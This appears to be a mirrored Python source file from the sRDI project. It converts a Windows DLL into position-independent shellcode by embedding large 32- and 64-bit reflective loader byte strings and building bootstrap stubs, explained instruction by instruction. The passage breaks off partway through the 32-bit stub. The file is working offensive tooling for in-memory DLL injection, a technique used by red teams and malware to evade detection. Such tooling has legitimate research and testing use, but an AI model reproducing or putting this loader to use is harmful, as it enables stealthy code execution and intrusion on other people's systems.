mirror of
https://github.com/monoxgas/sRDI
synced 2026-06-06 16:14:36 +00:00
Nick Landers
215 lines
20 KiB
Python
215 lines
20 KiB
Python
import sys
|
|
|
|
if sys.version_info < (3,0):
|
|
print("[!] Sorry, requires Python 3.x")
|
|
sys.exit(1)
|
|
|
|
import struct
|
|
from struct import pack
|
|
|
|
MACHINE_IA64=512
|
|
MACHINE_AMD64=34404
|
|
|
|
def is64BitDLL(bytes):
|
|
header_offset = struct.unpack("<L", bytes[60:64])[0]
|
|
machine = struct.unpack("<H", bytes[header_offset+4:header_offset+4+2])[0]
|
|
if machine == MACHINE_IA64 or machine == MACHINE_AMD64:
|
|
return True
|
|
return False
|
|
|
|
ror = lambda val, r_bits, max_bits: \
|
|
((val & (2**max_bits-1)) >> r_bits%max_bits) | \
|
|
(val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))
|
|
|
|
def HashFunctionName(name, module = None):
|
|
|
|
function = name.encode() + b'\x00'
|
|
|
|
if(module):
|
|
module = module.upper().encode('UTF-16LE') + b'\x00\x00'
|
|
|
|
functionHash = 0
|
|
|
|
for b in function:
|
|
functionHash = ror(functionHash, 13, 32)
|
|
functionHash += b
|
|
|
|
moduleHash = 0
|
|
|
|
for b in module:
|
|
moduleHash = ror(moduleHash, 13, 32)
|
|
moduleHash += b
|
|
|
|
functionHash += moduleHash
|
|
|
|
if functionHash > 0xFFFFFFFF: functionHash -= 0x100000000
|
|
|
|
else:
|
|
functionHash = 0
|
|
|
|
for b in function:
|
|
functionHash = ror(functionHash, 13, 32)
|
|
functionHash += b
|
|
|
|
return functionHash
|
|
|
|
def ConvertToShellcode(dllBytes, functionHash=0x10, userData=b'None', flags=0):
|
|
|
|
#MARKER:S
|
|
rdiShellcode32 = "\x83\xEC\x44\x53\x55\x56\x57\xB9\x4C\x77\x26\x07\xE8\x80\x05\x00\x00\x8B\xF8\xB9\x49\xF7\x02\x78\x89\x7C\x24\x20\xE8\x70\x05\x00\x00\x8B\xF0\xB9\x58\xA4\x53\xE5\x89\x74\x24\x24\xE8\x60\x05\x00\x00\x8B\xD8\xB9\x10\xE1\x8A\xC3\x89\x5C\x24\x14\xE8\x50\x05\x00\x00\xB9\xAF\xB1\x5C\x94\x89\x44\x24\x28\xE8\x42\x05\x00\x00\xB9\x33\x00\x9E\x95\x89\x44\x24\x2C\xE8\x34\x05\x00\x00\x8B\xE8\x85\xFF\x0F\x84\x20\x05\x00\x00\x85\xF6\x0F\x84\x18\x05\x00\x00\x85\xDB\x0F\x84\x10\x05\x00\x00\x83\x7C\x24\x28\x00\x0F\x84\x05\x05\x00\x00\x83\x7C\x24\x2C\x00\x0F\x84\xFA\x04\x00\x00\x85\xED\x0F\x84\xF2\x04\x00\x00\x8B\x5C\x24\x58\x8B\x7B\x3C\x03\xFB\x81\x3F\x50\x45\x00\x00\x0F\x85\xDD\x04\x00\x00\xB8\x4C\x01\x00\x00\x66\x39\x47\x04\x0F\x85\xCE\x04\x00\x00\xF6\x47\x38\x01\x0F\x85\xC4\x04\x00\x00\x0F\xB7\x47\x14\x33\xF6\x0F\xB7\x57\x06\x83\xC0\x24\x85\xD2\x74\x1F\x8D\x0C\x38\x83\x79\x04\x00\x8B\x47\x38\x0F\x45\x41\x04\x03\x01\x8D\x49\x28\x3B\xC6\x0F\x46\xC6\x8B\xF0\x83\xEA\x01\x75\xE4\x8D\x44\x24\x30\x50\xFF\xD5\x8B\x4C\x24\x34\x8D\x51\xFF\x8D\x69\xFF\xF7\xD2\x03\x6F\x50\x8D\x41\xFF\x03\xC6\x23\xEA\x23\xC2\x3B\xE8\x0F\x85\x6D\x04\x00\x00\x6A\x04\x68\x00\x30\x00\x00\x55\xFF\x77\x34\xFF\x54\x24\x24\x8B\xF0\x85\xF6\x75\x0F\x6A\x04\x68\x00\x30\x00\x00\x55\x50\xFF\x54\x24\x24\x8B\xF0\xF6\x44\x24\x68\x01\x74\x23\x8B\x43\x3C\x89\x46\x3C\x8B\x4B\x3C\x3B\x4F\x54\x73\x2E\x8B\xEB\x8D\x14\x0E\x2B\xEE\x8A\x04\x2A\x41\x88\x02\x42\x3B\x4F\x54\x72\xF4\xEB\x19\x33\xED\x39\x6F\x54\x76\x12\x8B\xD3\x8B\xCE\x2B\xD6\x8A\x04\x11\x45\x88\x01\x41\x3B\x6F\x54\x72\xF4\x8B\x7E\x3C\x33\xC9\x03\xFE\x89\x4C\x24\x18\x33\xC0\x89\x7C\x24\x14\x0F\xB7\x57\x14\x83\xC2\x28\x66\x3B\x47\x06\x73\x31\x03\xD7\x33\xED\x39\x2A\x76\x19\x8B\x42\x04\x8B\x4A\xFC\x03\xC5\x03\xCE\x8A\x04\x18\x88\x04\x29\x45\x3B\x2A\x72\xEB\x8B\x4C\x24\x18\x0F\xB7\x47\x06\x41\x83\xC2\x28\x89\x4C\x24\x18\x3B\xC8\x72\xD1\x83\xBF\x84\x00\x00\x00\x00\x74\x73\x8B\x9F\x80\x00\x00\x00\x03\xDE\x89\x5C\x24\x1C\x8B\x43\x0C\x85\xC0\x74\x60\x03\xC6\x50\xFF\x54\x24\x24\x8B\x2B\x8B\xF8\x8B\x43\x10\x03\xEE\x03\xC6\x89\x44\x24\x18\x8B\x4D\x00\x85\xC9\x74\x31\x8B\x5C\x24\x24\x79\x05\x0F\xB7\xC1\xEB\x05\x8D\x41\x02\x03\xC6\x50\x57\xFF\xD3\x8B\xC8\x83\xC5\x04\x8B\x44\x24\x18\x89\x08\x83\xC0\x04\x8B\x4D\x00\x89\x44\x24\x18\x85\xC9\x75\xD7\x8B\x5C\x24\x1C\x8B\x43\x20\x83\xC3\x14\x89\x5C\x24\x1C\x85\xC0\x75\xA4\x8B\x7C\x24\x14\x83\xBF\xE4\x00\x00\x00\x00\x74\x75\x8B\xAF\xE0\x00\x00\x00\x83\xC5\x04\x03\xEE\x89\x6C\x24\x18\x8B\x45\x00\x85\xC0\x74\x5F\x03\xC6\x50\xFF\x54\x24\x24\x8B\x5D\x08\x8B\xF8\x8B\x45\x0C\x03\xDE\x03\xC6\x89\x44\x24\x1C\x83\x3B\x00\x74\x31\x8B\x6C\x24\x24\x8B\x00\x85\xC0\x79\x05\x0F\xB7\xC0\xEB\x05\x83\xC0\x02\x03\xC6\x50\x57\xFF\xD5\x89\x03\x83\xC3\x04\x8B\x44\x24\x1C\x83\xC0\x04\x89\x44\x24\x1C\x83\x3B\x00\x75\xD7\x8B\x6C\x24\x18\x83\xC5\x20\x89\x6C\x24\x18\x8B\x45\x00\x85\xC0\x75\xA5\x8B\x7C\x24\x14\x8B\xC6\x2B\x47\x34\x89\x44\x24\x24\x0F\x84\xAD\x00\x00\x00\x83\xBF\xA4\x00\x00\x00\x00\x0F\x84\xA0\x00\x00\x00\x8B\x9F\xA0\x00\x00\x00\x03\xDE\x83\x3B\x00\x0F\x84\x8F\x00\x00\x00\x8B\xF8\x8D\x6B\x08\xEB\x6F\x0F\xB7\x55\x00\x66\x8B\xC2\x0F\xB7\xCA\x66\xC1\xE8\x0C\x66\x83\xF8\x0A\x75\x1C\x81\xE2\xFF\x0F\x00\x00\x8B\xC2\x89\x54\x24\x24\x03\x03\x8B\x0C\x30\x8B\xC2\x03\xCF\x03\x03\x89\x0C\x30\xEB\x3A\x6A\x03\x5A\x66\x3B\xC2\x75\x0D\x81\xE1\xFF\x0F\x00\x00\x03\x0B\x01\x3C\x31\xEB\x25\x33\xD2\x42\x66\x3B\xC2\x75\x07\x8B\xC7\xC1\xE8\x10\xEB\x0B\x6A\x02\x5A\x66\x3B\xC2\x75\x0E\x0F\xB7\xC7\x81\xE1\xFF\x0F\x00\x00\x03\x0B\x01\x04\x31\x6A\x02\x58\x03\xE8\x8B\x43\x04\x03\xC3\x3B\xE8\x75\x88\x83\x7D\x00\x00\x8B\xDD\x0F\x85\x77\xFF\xFF\xFF\x8B\x7C\x24\x14\x0F\xB7\x47\x14\x33\xC9\x83\xC0\x28\x33\xED\x66\x3B\x4F\x06\x0F\x83\xE3\x00\x00\x00\x8D\x1C\x38\xBA\x00\x00\x00\x40\x83\x3B\x00\x0F\x84\xC2\x00\x00\x00\x8B\x4B\x14\x8B\xC1\x25\x00\x00\x00\x20\x75\x0B\x85\xCA\x75\x07\x85\xC9\x78\x03\x40\xEB\x62\x85\xC0\x75\x30\x85\xCA\x75\x08\x85\xC9\x79\x04\x6A\x08\xEB\x51\x85\xC0\x75\x20\x85\xCA\x74\x08\x85\xC9\x78\x04\x6A\x02\xEB\x41\x85\xC0\x75\x10\x85\xCA\x74\x08\x85\xC9\x79\x04\x6A\x04\xEB\x31\x85\xC0\x74\x4A\x85\xCA\x75\x08\x85\xC9\x78\x04\x6A\x10\xEB\x21\x85\xC0\x74\x3A\x85\xCA\x75\x0B\x85\xC9\x79\x07\xB8\x80\x00\x00\x00\xEB\x0F\x85\xC0\x74\x27\x85\xCA\x74\x0D\x85\xC9\x78\x09\x6A\x20\x58\x89\x44\x24\x10\xEB\x1A\x85\xC0\x74\x12\x85\xCA\x74\x0E\x8B\x44\x24\x10\x85\xC9\x6A\x40\x5A\x0F\x48\xC2\xEB\xE4\x8B\x44\x24\x10\xF7\x43\x14\x00\x00\x00\x04\x74\x09\x0D\x00\x02\x00\x00\x89\x44\x24\x10\x8D\x4C\x24\x10\x51\x50\x8B\x43\xFC\xFF\x33\x03\xC6\x50\xFF\x54\x24\x38\xBA\x00\x00\x00\x40\x0F\xB7\x47\x06\x45\x83\xC3\x28\x3B\xE8\x0F\x82\x25\xFF\xFF\xFF\x6A\x00\x6A\x00\x6A\xFF\xFF\x54\x24\x38\x83\xBF\xC4\x00\x00\x00\x00\x74\x3C\x8B\x87\xC0\x00\x00\x00\x33\xC9\x6A\x03\x33\xED\x8B\x5C\x30\x0C\x03\xDE\x58\x2B\xC3\xC1\xE8\x02\x85\xDB\x0F\x45\xC1\x89\x44\x24\x2C\x85\xC0\x74\x17\x8B\xF8\x33\xC0\x6A\x00\x40\x50\x56\xFF\x13\x45\x8D\x5B\x04\x3B\xEF\x75\xEF\x8B\x7C\x24\x14\x33\xC0\x40\x50\x50\x8B\x47\x28\x56\x03\xC6\xFF\xD0\x83\x7C\x24\x5C\x00\x0F\x84\x9E\x00\x00\x00\x83\x7F\x7C\x00\x0F\x84\x94\x00\x00\x00\x8B\x57\x78\x03\xD6\x8B\x6A\x18\x85\xED\x0F\x84\x84\x00\x00\x00\x83\x7A\x14\x00\x74\x7E\x8B\x5A\x20\x8B\x4A\x24\x03\xDE\x83\x64\x24\x2C\x00\x03\xCE\x85\xED\x74\x6B\x8B\x3B\xC7\x44\x24\x14\x00\x00\x00\x00\x03\xFE\x74\x5D\x8A\x07\x84\xC0\x74\x1A\x8B\x6C\x24\x14\x0F\xBE\xC0\x03\xE8\xC1\xCD\x0D\x47\x8A\x07\x84\xC0\x75\xF1\x89\x6C\x24\x14\x8B\x6A\x18\x8B\x44\x24\x5C\x3B\x44\x24\x14\x75\x04\x85\xC9\x75\x15\x8B\x44\x24\x2C\x83\xC3\x04\x40\x83\xC1\x02\x89\x44\x24\x2C\x3B\xC5\x72\xB1\xEB\x1A\x0F\xB7\x09\x8B\x42\x1C\xFF\x74\x24\x64\xFF\x74\x24\x64\x8D\x04\x88\x8B\x04\x30\x03\xC6\xFF\xD0\x59\x59\x8B\xC6\xEB\x02\x33\xC0\x5F\x5E\x5D\x5B\x83\xC4\x44\xC3\x83\xEC\x14\x64\xA1\x30\x00\x00\x00\x53\x55\x56\x8B\x40\x0C\x57\x89\x4C\x24\x1C\x8B\x78\x0C\xE9\xA5\x00\x00\x00\x8B\x47\x30\x33\xF6\x8B\x5F\x2C\x8B\x3F\x89\x44\x24\x10\x8B\x42\x3C\x89\x7C\x24\x14\x8B\x6C\x10\x78\x89\x6C\x24\x18\x85\xED\x0F\x84\x80\x00\x00\x00\xC1\xEB\x10\x33\xC9\x85\xDB\x74\x2F\x8B\x7C\x24\x10\x0F\xBE\x2C\x0F\xC1\xCE\x0D\x80\x3C\x0F\x61\x89\x6C\x24\x10\x7C\x09\x8B\xC5\x83\xC0\xE0\x03\xF0\xEB\x04\x03\x74\x24\x10\x41\x3B\xCB\x72\xDD\x8B\x7C\x24\x14\x8B\x6C\x24\x18\x8B\x44\x2A\x20\x33\xDB\x8B\x4C\x2A\x18\x03\xC2\x89\x4C\x24\x10\x85\xC9\x74\x34\x8B\x38\x33\xED\x03\xFA\x83\xC0\x04\x89\x44\x24\x20\x8A\x0F\xC1\xCD\x0D\x0F\xBE\xC1\x03\xE8\x47\x84\xC9\x75\xF1\x8B\x7C\x24\x14\x8D\x04\x2E\x3B\x44\x24\x1C\x74\x20\x8B\x44\x24\x20\x43\x3B\x5C\x24\x10\x72\xCC\x8B\x57\x18\x85\xD2\x0F\x85\x50\xFF\xFF\xFF\x33\xC0\x5F\x5E\x5D\x5B\x83\xC4\x14\xC3\x8B\x74\x24\x18\x8B\x44\x16\x24\x8D\x04\x58\x0F\xB7\x0C\x10\x8B\x44\x16\x1C\x8D\x04\x88\x8B\x04\x10\x03\xC2\xEB\xDB"
|
|
rdiShellcode64 = "\x48\x8B\xC4\x48\x89\x58\x08\x44\x89\x48\x20\x4C\x89\x40\x18\x89\x50\x10\x55\x56\x57\x41\x54\x41\x55\x41\x56\x41\x57\x48\x8B\xEC\x48\x81\xEC\x80\x00\x00\x00\x4C\x8B\xF1\xB9\x4C\x77\x26\x07\xE8\xFC\x05\x00\x00\xB9\x49\xF7\x02\x78\x48\x89\x45\xA8\x48\x8B\xD8\xE8\xEB\x05\x00\x00\xB9\x58\xA4\x53\xE5\x4C\x8B\xE8\xE8\xDE\x05\x00\x00\xB9\x10\xE1\x8A\xC3\x4C\x8B\xF8\xE8\xD1\x05\x00\x00\xB9\xAF\xB1\x5C\x94\x48\x89\x45\xB8\x48\x8B\xF0\xE8\xC0\x05\x00\x00\xB9\x33\x00\x9E\x95\x48\x89\x45\xC0\x48\x8B\xF8\xE8\xAF\x05\x00\x00\x45\x33\xE4\x4C\x8B\xC0\x48\x85\xDB\x0F\x84\x81\x05\x00\x00\x4D\x85\xED\x0F\x84\x78\x05\x00\x00\x4D\x85\xFF\x0F\x84\x6F\x05\x00\x00\x48\x85\xF6\x0F\x84\x66\x05\x00\x00\x48\x85\xFF\x0F\x84\x5D\x05\x00\x00\x48\x85\xC0\x0F\x84\x54\x05\x00\x00\x49\x63\x7E\x3C\x49\x03\xFE\x81\x3F\x50\x45\x00\x00\x0F\x85\x41\x05\x00\x00\xB8\x64\x86\x00\x00\x66\x39\x47\x04\x0F\x85\x32\x05\x00\x00\x45\x8D\x4C\x24\x01\x44\x84\x4F\x38\x0F\x85\x23\x05\x00\x00\x0F\xB7\x47\x14\x41\x8B\xDC\x48\x83\xC0\x24\x66\x44\x3B\x67\x06\x73\x25\x0F\xB7\x57\x06\x48\x8D\x0C\x38\x44\x39\x61\x04\x8B\x47\x38\x0F\x45\x41\x04\x03\x01\x48\x8D\x49\x28\x3B\xC3\x0F\x46\xC3\x8B\xD8\x49\x2B\xD1\x75\xE3\x48\x8D\x4D\xC8\x41\xFF\xD0\x8B\x55\xCC\x44\x8B\xC2\x8D\x72\xFF\xF7\xDA\x03\x77\x50\x49\x8D\x48\xFF\x8B\xC2\x48\x23\xF0\x8B\xC3\x48\x03\xC8\x49\x8D\x40\xFF\x48\xF7\xD0\x48\x23\xC8\x48\x3B\xF1\x0F\x85\xB6\x04\x00\x00\x48\x8B\x4F\x30\x41\xB9\x04\x00\x00\x00\x41\xB8\x00\x30\x00\x00\x48\x8B\xD6\x41\xFF\xD7\x48\x8B\xD8\x48\x85\xC0\x75\x15\x44\x8D\x48\x04\x41\xB8\x00\x30\x00\x00\x48\x8B\xD6\x33\xC9\x41\xFF\xD7\x48\x8B\xD8\x41\xBB\x01\x00\x00\x00\x44\x84\x5D\x60\x74\x20\x41\x8B\x46\x3C\x89\x43\x3C\x41\x8B\x56\x3C\xEB\x0C\x8B\xCA\x41\x03\xD3\x42\x8A\x04\x31\x88\x04\x19\x3B\x57\x54\x72\xEF\xEB\x1A\x41\x8B\xD4\x44\x39\x67\x54\x76\x11\x8B\xCA\x41\x03\xD3\x42\x8A\x04\x31\x88\x04\x19\x3B\x57\x54\x72\xEF\x48\x63\x73\x3C\x45\x8B\xD4\x48\x03\xF3\x48\x89\x75\xB0\x44\x0F\xB7\x46\x14\x49\x83\xC0\x28\x66\x44\x3B\x66\x06\x73\x3B\x4C\x03\xC6\x45\x8B\xCC\x45\x39\x20\x76\x20\x41\x8B\x50\x04\x41\x8B\x48\xFC\x41\x8B\xC1\x45\x03\xCB\x48\x03\xC8\x48\x03\xD0\x42\x8A\x04\x32\x88\x04\x19\x45\x3B\x08\x72\xE0\x0F\xB7\x46\x06\x45\x03\xD3\x49\x83\xC0\x28\x44\x3B\xD0\x72\xC8\x44\x39\xA6\x94\x00\x00\x00\x74\x66\x8B\xBE\x90\x00\x00\x00\x48\x03\xFB\x8B\x47\x0C\x85\xC0\x74\x56\x48\x8B\x75\xA8\x8B\xC8\x48\x03\xCB\xFF\xD6\x44\x8B\x7F\x10\x4C\x8B\xE0\x44\x8B\x37\x4C\x03\xFB\x4C\x03\xF3\xEB\x1F\x79\x05\x0F\xB7\xD1\xEB\x07\x48\x8D\x51\x02\x48\x03\xD3\x49\x8B\xCC\x41\xFF\xD5\x49\x89\x07\x49\x83\xC7\x08\x49\x83\xC6\x08\x49\x8B\x0E\x48\x85\xC9\x75\xD9\x8B\x47\x20\x48\x83\xC7\x14\x45\x33\xE4\x85\xC0\x75\xB2\x48\x8B\x75\xB0\x44\x39\xA6\xF4\x00\x00\x00\x74\x70\x44\x8B\xB6\xF0\x00\x00\x00\x49\x83\xC6\x04\x4C\x03\xF3\x41\x8B\x06\x85\xC0\x74\x5B\x48\x8B\x75\xA8\x8B\xC8\x48\x03\xCB\xFF\xD6\x41\x8B\x7E\x08\x4C\x8B\xE0\x45\x8B\x7E\x0C\x48\x03\xFB\x4C\x03\xFB\xEB\x25\x49\x8B\x0F\x48\x85\xC9\x79\x05\x0F\xB7\xD1\xEB\x07\x48\x8D\x51\x02\x48\x03\xD3\x49\x8B\xCC\x41\xFF\xD5\x48\x89\x07\x48\x83\xC7\x08\x49\x83\xC7\x08\x48\x83\x3F\x00\x75\xD5\x49\x83\xC6\x20\x45\x33\xE4\x41\x8B\x06\x85\xC0\x75\xAD\x48\x8B\x75\xB0\x48\x8B\xFB\x41\xB8\x02\x00\x00\x00\x48\x2B\x7E\x30\x0F\x84\xB5\x00\x00\x00\x44\x39\xA6\xB4\x00\x00\x00\x0F\x84\xA8\x00\x00\x00\x44\x8B\x8E\xB0\x00\x00\x00\x4C\x03\xCB\x45\x39\x21\x0F\x84\x95\x00\x00\x00\x41\xBE\xFF\x0F\x00\x00\x45\x8D\x78\xFF\x4D\x8D\x51\x08\xEB\x6D\x45\x0F\xB7\x1A\x41\x0F\xB7\xC3\x41\x0F\xB7\xCB\x66\xC1\xE8\x0C\x66\x83\xF8\x0A\x75\x22\x45\x8B\x01\x4D\x23\xDE\x4B\x8D\x04\x03\x48\x8B\x0C\x18\x4B\x8D\x04\x03\x41\xB8\x02\x00\x00\x00\x48\x8D\x14\x0F\x48\x89\x14\x18\xEB\x32\x66\x83\xF8\x03\x75\x04\x8B\xC7\xEB\x1B\x66\x41\x3B\xC7\x75\x0C\x48\x8B\xC7\x48\xC1\xE8\x10\x0F\xB7\xC0\xEB\x09\x66\x41\x3B\xC0\x75\x10\x0F\xB7\xC7\x41\x8B\x11\x49\x23\xCE\x48\x03\xCB\x48\x01\x04\x0A\x4D\x03\xD0\x41\x8B\x41\x04\x49\x03\xC1\x4C\x3B\xD0\x75\x87\x4D\x8B\xCA\x45\x39\x22\x0F\x85\x75\xFF\xFF\xFF\x0F\xB7\x46\x14\x45\x8B\xF4\x48\x83\xC0\x28\x66\x44\x3B\x66\x06\x0F\x83\x0A\x01\x00\x00\x4C\x8B\x7D\xB8\x48\x8D\x3C\x30\x41\xBD\x00\x00\x00\x40\x44\x39\x27\x0F\x84\xDF\x00\x00\x00\x8B\x47\x14\x8B\xC8\x81\xE1\x00\x00\x00\x20\x75\x17\x41\x85\xC5\x75\x12\x85\xC0\x78\x0E\x8D\x41\x01\x44\x8B\xC0\x89\x45\xA0\xE9\x94\x00\x00\x00\x85\xC9\x75\x33\x41\x85\xC5\x75\x0A\x85\xC0\x79\x06\x44\x8D\x41\x08\xEB\x5D\x85\xC9\x75\x20\x41\x85\xC5\x74\x04\x85\xC0\x79\x50\x85\xC9\x75\x13\x41\x85\xC5\x74\x0A\x85\xC0\x79\x06\x44\x8D\x41\x04\xEB\x3D\x85\xC9\x74\x59\x41\x85\xC5\x75\x0C\x85\xC0\x78\x08\x41\xB8\x10\x00\x00\x00\xEB\x28\x85\xC9\x74\x44\x41\x85\xC5\x75\x0C\x85\xC0\x79\x08\x41\xB8\x80\x00\x00\x00\xEB\x13\x85\xC9\x74\x2F\x41\x85\xC5\x74\x10\x85\xC0\x78\x0C\x41\xB8\x20\x00\x00\x00\x44\x89\x45\xA0\xEB\x1E\x85\xC9\x74\x16\x41\x85\xC5\x74\x11\x44\x8B\x45\xA0\x85\xC0\xB9\x40\x00\x00\x00\x44\x0F\x48\xC1\xEB\xE0\x44\x8B\x45\xA0\xF7\x47\x14\x00\x00\x00\x04\x74\x09\x41\x0F\xBA\xE8\x09\x44\x89\x45\xA0\x8B\x4F\xFC\x4C\x8D\x4D\xA0\x8B\x17\x48\x03\xCB\x41\xFF\xD7\x41\xB8\x02\x00\x00\x00\x0F\xB7\x46\x06\x41\xFF\xC6\x48\x83\xC7\x28\x44\x3B\xF0\x0F\x82\x04\xFF\xFF\xFF\x45\x33\xC0\x33\xD2\x48\x83\xC9\xFF\xFF\x55\xC0\x44\x39\xA6\xD4\x00\x00\x00\x74\x47\x8B\x86\xD0\x00\x00\x00\xBF\x07\x00\x00\x00\x4D\x8B\xFC\x4C\x8B\x74\x18\x18\x4C\x03\xF3\x49\x2B\xFE\x48\xC1\xEF\x03\x4D\x85\xF6\x49\x0F\x45\xFC\x48\x85\xFF\x74\x1E\x41\xBD\x01\x00\x00\x00\x45\x33\xC0\x41\x8B\xD5\x48\x8B\xCB\x41\xFF\x16\x4D\x03\xFD\x4D\x8D\x76\x08\x4C\x3B\xFF\x75\xE8\x8B\x46\x28\x41\xBF\x01\x00\x00\x00\x48\x03\xC3\x45\x8B\xC7\x41\x8B\xD7\x48\x8B\xCB\xFF\xD0\x44\x8B\x75\x48\x45\x85\xF6\x0F\x84\x8F\x00\x00\x00\x44\x39\xA6\x8C\x00\x00\x00\x0F\x84\x82\x00\x00\x00\x8B\x8E\x88\x00\x00\x00\x48\x03\xCB\x44\x8B\x59\x18\x45\x85\xDB\x74\x70\x44\x39\x61\x14\x74\x6A\x44\x8B\x49\x20\x41\x8B\xFC\x8B\x51\x24\x4C\x03\xCB\x48\x03\xD3\x45\x85\xDB\x74\x55\x45\x8B\x01\x45\x8B\xD4\x4C\x03\xC3\x74\x4A\xEB\x0D\x0F\xBE\xC0\x44\x03\xD0\x41\xC1\xCA\x0D\x4D\x03\xC7\x41\x8A\x00\x84\xC0\x75\xEC\x45\x3B\xF2\x75\x05\x48\x85\xD2\x75\x12\x41\x03\xFF\x49\x83\xC1\x04\x48\x83\xC2\x02\x41\x3B\xFB\x73\x1A\xEB\xC3\x8B\x49\x1C\x0F\xB7\x12\x48\x03\xCB\x8B\x04\x91\x8B\x55\x58\x48\x03\xC3\x48\x8B\x4D\x50\xFF\xD0\x48\x8B\xC3\xEB\x02\x33\xC0\x48\x8B\x9C\x24\xC0\x00\x00\x00\x48\x81\xC4\x80\x00\x00\x00\x41\x5F\x41\x5E\x41\x5D\x41\x5C\x5F\x5E\x5D\xC3\xCC\xCC\x48\x8B\xC4\x48\x89\x58\x08\x48\x89\x68\x10\x48\x89\x70\x18\x48\x89\x78\x20\x41\x56\x48\x83\xEC\x10\x65\x48\x8B\x04\x25\x60\x00\x00\x00\x8B\xE9\x45\x33\xF6\x48\x8B\x50\x18\x4C\x8B\x4A\x10\x4D\x8B\x41\x30\x4D\x85\xC0\x0F\x84\xB3\x00\x00\x00\x41\x0F\x10\x41\x58\x49\x63\x40\x3C\x41\x8B\xD6\x4D\x8B\x09\xF3\x0F\x7F\x04\x24\x46\x8B\x9C\x00\x88\x00\x00\x00\x45\x85\xDB\x74\xD2\x48\x8B\x04\x24\x48\xC1\xE8\x10\x66\x44\x3B\xF0\x73\x22\x48\x8B\x4C\x24\x08\x44\x0F\xB7\xD0\x0F\xBE\x01\xC1\xCA\x0D\x80\x39\x61\x7C\x03\x83\xC2\xE0\x03\xD0\x48\xFF\xC1\x49\x83\xEA\x01\x75\xE7\x4F\x8D\x14\x18\x45\x8B\xDE\x41\x8B\x7A\x20\x49\x03\xF8\x45\x39\x72\x18\x76\x8E\x8B\x37\x41\x8B\xDE\x49\x03\xF0\x48\x8D\x7F\x04\x0F\xBE\x0E\x48\xFF\xC6\xC1\xCB\x0D\x03\xD9\x84\xC9\x75\xF1\x8D\x04\x13\x3B\xC5\x74\x0E\x41\xFF\xC3\x45\x3B\x5A\x18\x72\xD5\xE9\x5E\xFF\xFF\xFF\x41\x8B\x42\x24\x43\x8D\x0C\x1B\x49\x03\xC0\x0F\xB7\x14\x01\x41\x8B\x4A\x1C\x49\x03\xC8\x8B\x04\x91\x49\x03\xC0\xEB\x02\x33\xC0\x48\x8B\x5C\x24\x20\x48\x8B\x6C\x24\x28\x48\x8B\x74\x24\x30\x48\x8B\x7C\x24\x38\x48\x83\xC4\x10\x41\x5E\xC3"
|
|
#MARKER:E
|
|
|
|
if is64BitDLL(dllBytes):
|
|
|
|
rdiShellcode = rdiShellcode64
|
|
|
|
bootstrap = b''
|
|
bootstrapSize = 64
|
|
|
|
# call next instruction (Pushes next instruction address to stack)
|
|
bootstrap += b'\xe8\x00\x00\x00\x00'
|
|
|
|
# Set the offset to our DLL from pop result
|
|
dllOffset = bootstrapSize - len(bootstrap) + len(rdiShellcode)
|
|
|
|
# pop rcx - Capture our current location in memory
|
|
bootstrap += b'\x59'
|
|
|
|
# mov r8, rcx - copy our location in memory to r8 before we start modifying RCX
|
|
bootstrap += b'\x49\x89\xc8'
|
|
|
|
# add rcx, <Offset of the DLL>
|
|
bootstrap += b'\x48\x81\xc1'
|
|
bootstrap += pack('I', dllOffset)
|
|
|
|
# mov edx, <Hash of function>
|
|
bootstrap += b'\xba'
|
|
bootstrap += pack('I', functionHash)
|
|
|
|
# Setup the location of our user data
|
|
# add r8, <Offset of the DLL> + <Length of DLL>
|
|
bootstrap += b'\x49\x81\xc0'
|
|
userDataLocation = dllOffset + len(dllBytes)
|
|
bootstrap += pack('I', userDataLocation)
|
|
|
|
# mov r9d, <Length of User Data>
|
|
bootstrap += b'\x41\xb9'
|
|
bootstrap += pack('I', len(userData))
|
|
|
|
# push rsi - save original value
|
|
bootstrap += b'\x56'
|
|
|
|
# mov rsi, rsp - store our current stack pointer for later
|
|
bootstrap += b'\x48\x89\xe6'
|
|
|
|
# and rsp, 0x0FFFFFFFFFFFFFFF0 - Align the stack to 16 bytes
|
|
bootstrap += b'\x48\x83\xe4\xf0'
|
|
|
|
# sub rsp, 0x30 - Create some breathing room on the stack
|
|
bootstrap += b'\x48\x83\xec'
|
|
bootstrap += b'\x30' # 32 bytes for shadow space + 8 bytes for last arg + 8 bytes for stack alignment
|
|
|
|
# mov dword ptr [rsp + 0x20], <Flags> - Push arg 5 just above shadow space
|
|
bootstrap += b'\xC7\x44\x24'
|
|
bootstrap += b'\x20'
|
|
bootstrap += pack('I', flags)
|
|
|
|
# call - Transfer execution to the RDI
|
|
bootstrap += b'\xe8'
|
|
bootstrap += pack('b', bootstrapSize - len(bootstrap) - 4) # Skip over the remainder of instructions
|
|
bootstrap += b'\x00\x00\x00'
|
|
|
|
# mov rsp, rsi - Reset our original stack pointer
|
|
bootstrap += b'\x48\x89\xf4'
|
|
|
|
# pop rsi - Put things back where we left them
|
|
bootstrap += b'\x5e'
|
|
|
|
# ret - return to caller
|
|
bootstrap += b'\xc3'
|
|
|
|
if len(bootstrap) != bootstrapSize:
|
|
raise Exception("x64 bootstrap length: {} != bootstrapSize: {}".format(len(bootstrap), bootstrapSize))
|
|
|
|
# Ends up looking like this in memory:
|
|
# Bootstrap shellcode
|
|
# RDI shellcode
|
|
# DLL bytes
|
|
# User data
|
|
return bootstrap + rdiShellcode + dllBytes + userData
|
|
|
|
else: # 32 bit
|
|
rdiShellcode = rdiShellcode32
|
|
|
|
bootstrap = b''
|
|
bootstrapSize = 46
|
|
|
|
# call next instruction (Pushes next instruction address to stack)
|
|
bootstrap += b'\xe8\x00\x00\x00\x00'
|
|
|
|
# Set the offset to our DLL from pop result
|
|
dllOffset = bootstrapSize - len(bootstrap) + len(rdiShellcode)
|
|
|
|
# pop eax - Capture our current location in memory
|
|
bootstrap += b'\x58'
|
|
|
|
# push ebp
|
|
bootstrap += b'\x55'
|
|
|
|
# mov ebp, esp
|
|
bootstrap += b'\x89\xe5'
|
|
|
|
# mov ebx, eax - copy our location in memory to ebx before we start modifying eax
|
|
bootstrap += b'\x89\xc3'
|
|
|
|
# add eax, <Offset to the DLL>
|
|
bootstrap += b'\x05'
|
|
bootstrap += pack('I', dllOffset)
|
|
|
|
# add ebx, <Offset to the DLL> + <Size of DLL>
|
|
bootstrap += b'\x81\xc3'
|
|
userDataLocation = dllOffset + len(dllBytes)
|
|
bootstrap += pack('I', userDataLocation)
|
|
|
|
# push <Flags>
|
|
bootstrap += b'\x68'
|
|
bootstrap += pack('I', flags)
|
|
|
|
# push <Length of User Data>
|
|
bootstrap += b'\x68'
